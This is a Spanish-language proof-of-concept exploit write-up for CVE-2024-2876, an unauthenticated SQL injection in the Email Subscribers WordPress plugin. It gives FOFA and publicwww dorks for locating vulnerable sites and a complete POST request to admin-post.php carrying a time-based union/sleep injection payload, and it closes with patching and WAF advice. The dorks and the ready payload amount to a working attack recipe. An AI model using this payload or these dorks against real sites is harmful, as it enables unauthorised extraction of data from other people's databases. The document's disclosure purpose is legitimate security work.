
Exploit de prueba de concepto para CVE-2024-2876, una vulnerabilidad de inyección SQL no autenticada en el plugin Email Subscribers para WordPress, que permite la extracción de datos sensibles.
#Descripción de la Vulnerabilidad: El plugin Email Subscribers de Icegram Express – Email Marketing, Newsletters, Automation for WordPress & WooCommerce para WordPress es vulnerable a Inyección SQL a través de la función 'run' de la clase 'IG_ES_Subscribers_Query' en todas las versiones hasta la 5.7.14 inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y a la falta de preparación adecuada en la consulta SQL existente. Esto permite que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes, que pueden ser utilizadas para extraer información sensible de la base de datos.
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#YouTube POC: https://www.youtube.com/watch?v=eDEGt_yXyvE
#¿Cómo solucionarlo? Dado que todas las versiones hasta la 5.7.14 fueron detectadas con el CVE, se recomienda a los usuarios actualizar el plugin Email Subscribers de Icegram Express a la versión 5.7.15 (o la versión más reciente 5.7.19). Los usuarios de Patchstack tienen la opción de habilitar actualizaciones automáticas específicamente para plugins vulnerables. Implemente una solución WAF/WAAP como capa adicional de protección. La ventaja de dichas soluciones es que incluso si la vulnerabilidad es nueva y desconocida (0-day), aún puede prevenir ataques detectando patrones y técnicas de explotación.